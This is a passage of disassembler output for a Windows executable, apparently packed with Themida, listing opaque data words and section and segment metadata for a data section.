584A4A6Ch, 0D352302Eh, 730D342Dh dd 665E2CB4h, 2E3CC081h, 5860Fh, 7EBB0000h, 0F4236A6h dd 0F98BDFBFh, 81C2BF0Fh, 0C91A7BE8h, 0DAB70F1Eh, 0FCB8B66h dd 0E80h, 9E900h, 0DC970000h, 7ED5C25Eh, 0BA925A45h, 0D863E46h dd 180h dup(2E338200h), 68338200h, 253h dup(6862C6D9h) dd 0D326A1D9h, 60h dup(0D326A8B7h), 54ADA8B7h, 2C9h dup(54ADCFAFh) dd 0D17F46D7h, 0AEh dup(0D17F46D6h), 89631AD6h, 13Fh dup(8963193Dh) dd 39FD193Dh, 0C6h dup(39FD945Ah), 0DAFD945Ah, 2ABh dup(0DBBD1181h) dd 0CCCC1181h, 79Eh dup(0CCCCCCCCh), 3B8h dup(0) Themida_ ends ; Section 5. (virtual address 001E0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5E0000h dd 80h dup(0) align 1000h _idata2 ends end start